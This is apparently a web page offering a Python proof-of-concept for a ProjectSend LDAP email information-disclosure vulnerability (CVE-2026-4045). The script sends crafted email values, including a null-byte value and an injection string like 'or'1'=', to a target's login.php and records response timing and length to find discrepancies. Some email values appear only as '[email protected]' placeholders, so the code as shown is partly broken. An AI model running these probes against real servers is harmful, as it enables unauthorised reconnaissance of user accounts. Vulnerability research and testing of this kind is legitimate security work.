CVE-2026-4045: ProjectSend LDAP认证信息泄露漏洞

import requests import time # CVE-2026-4045 PoC - LDAP Email Information Disclosure # Target: ProjectSend <= r1945 # Location: includes/Classes/Auth.php TARGET_URL = "http://target.com/" def test_ldap_email_injection(): """ Test for LDAP email parameter manipulation leading to observable response discrepancy """ # Test different email formats to observe response differences test_emails = [ "[email protected]", "[email protected]", "[email protected]\x00", # Null byte injection "[email protected]", "'or'1'='[email protected]", # LDAP injection attempt ] for email in test_emails: start_time = time.time() # Simulate LDAP authentication request data = { 'ldap_email': email, 'ldap_password': 'test123' } try: response = requests.post( TARGET_URL + 'login.php', data=data, timeout=10 ) elapsed = time.time() - start_time print(f"Email: {email}") print(f"Status: {response.status_code}") print(f"Response Time: {elapsed:.4f}s") print(f"Response Length: {len(response.content)}") print("-" * 50) except requests.exceptions.RequestException as e: print(f"Error testing {email}: {e}") if __name__ == "__main__": test_ldap_email_injection()